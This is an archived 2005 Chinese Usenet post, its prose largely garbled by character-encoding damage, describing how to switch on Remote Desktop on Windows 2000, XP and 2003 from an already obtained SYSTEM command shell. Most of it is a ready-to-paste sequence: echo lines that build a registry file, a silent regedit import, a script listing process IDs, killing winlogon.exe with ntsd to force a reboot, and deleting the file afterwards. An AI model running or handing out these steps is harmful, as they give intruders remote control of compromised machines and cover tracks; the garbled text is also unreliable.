🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: cn.comp.os.win2000
Article #190

���������ն�������򵥵ķ���

#190
From: �dz�ǰ
Date: Sat, 23 Apr 2005 10:53
129 lines
7356 bytes
���������ն�������򵥵ķ���    [ 2005-04-21 9:12:35 PM | Author: callcall |
From: Original | Online: ]       ����ҳ��

������ܵ����ֿ��ն˵ķ�������ɫ������������Ⱦ~~
�����ϴ��κ��ļ������ն˵ķ����ʺ�win2k,xp,2003.
����ǰ�����Ѿ�ͨ��ij�ַ����õ��˶Է���һ��SYSTEMȨ�޵�CMDSHELL~~
�����봫�κ��ļ�������¿����ն˷���
һ��win 2k���ն˿����ն�
������ECHOдһ��3389.reg�ļ�,Ȼ���뵽ע��?echo�������£�
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
>>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
>>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
>>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
>>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
>>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
����ЩECHO���뵽CMDSHELL����ճ�Ϳ������3389.reg�ļ�������regedit /s
3389.reg����ע��?
(���Ҫ�ı��ն˶˿�ֻ������������D3D����һ�¾Ϳ�����)
��Ϊwin 2k�¿��ն˲�����XPһ�����������Ч,�������������������Ч��
һ���򵥵İ취������ntsd.exe(win
2k�����Դ������)����һ����Ҫ�Ľ�̾Ϳ���ʵ�ֻ��������ˣ���
�������winlogon.exe,lsass.exeҲ���Ե������������������ʱ(��̫��~)
winlogon.exe���رպ��������ǿ��������
����ִ�и�ʽΪntsd -c q -p PID
�����֪��winlogon.exe��PID��̺���~
��������ű������оٵ�ǰ���н�̵�PID��
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
��CMDSHELL��������������ECHO����Ϳ��Եõ��鿴���PID�Ľű�1.vbe��
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in
getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe
���1.vbe������һ��echo�����Ľű��Ƿ��д�(�����У���һ���������ľͿ�����)��
����1.vbe�õ��������н��
C:\WINNT\system32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows �ű������汾 5.1 for Windows
��Ȩ����(C) Microsoft Corporation 1996-1999. All rights reserved.
PID ProcessName
0  System Idle Process
8  System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe
��������Կ�����ǰwinlogon.exe��PID��Ϊ200��������ntsd -c q -p 200
(�����200Ҫ�滻Ϊwinlogon.exe��̶Ծ͵�PID��)���������
��������(ntsd.exe��WIN�Դ�Ŀ������������⼶����)�����ջ��~~
����winxp��win2003�ն˿���
������REG�ļ��������£�
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
������ECHO����дһ��REG�ļ���
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
����xp��2003�����ն��Dz����������������Ķ˿�ֻ������������PortNumber��Ӧ��D3D�ij���Ӧʮ�������ʮ�������ʽ�Ϳ����ˣ��ü�����ת���ɡ�XP�²��ۿ��ն˻��Ǹ���
�˶˿ڶ���������������̫����~~�Ǻǡ����Ҫ�ر��ձ�ֻ���"fDenyTSConnections"=
dword:00000000
�ij�"fDenyTSConnections"=dword:00000001
Technical Details
Message-ID: <426b290e.33011498@news.yaako.com>
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news.maxwell.syr.edu!panix!bloom-beacon.mit.edu!news.cn99.com!news.yaako.com!not-for-mail

Show Full Headers
Complete Article Headers
X-Google-Thread: f9c1d,3ead4280badfd60b,start
X-Google-Attributes: gidf9c1d,public
X-Google-Language: Chinese,GB
Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news.maxwell.syr.edu!panix!bloom-beacon.mit.edu!news.cn99.com!news.yaako.com!not-for-mail
From: �dz�ǰ <DuChaoQian@News.YaaKo.Com>
Newsgroups: cn.comp.os.win2000,cn.comp.os.winxp
Subject: ���������ն�������򵥵ķ���
Date: Sat, 23 Apr 2005 18:53:32 +0800
Organization: Bentium Ltd. (CN99)
Lines: 129
Message-ID: <426b290e.33011498@news.yaako.com>
NNTP-Posting-Host: 61.168.42.65
Mime-Version: 1.0
Content-Type: text/plain; charset=GB2312
Content-Transfer-Encoding: 8bit
X-Trace: news.yaako.com 1114253616 18123 61.168.42.65 (23 Apr 2005 10:53:36 GMT)
X-Complaints-To: usenet@news.yaako.com
NNTP-Posting-Date: Sat, 23 Apr 2005 10:53:36 +0000 (UTC)
Summary: this is a message from cn.* newsgroups
X-Newsreader: Forte Agent 1.8/32.548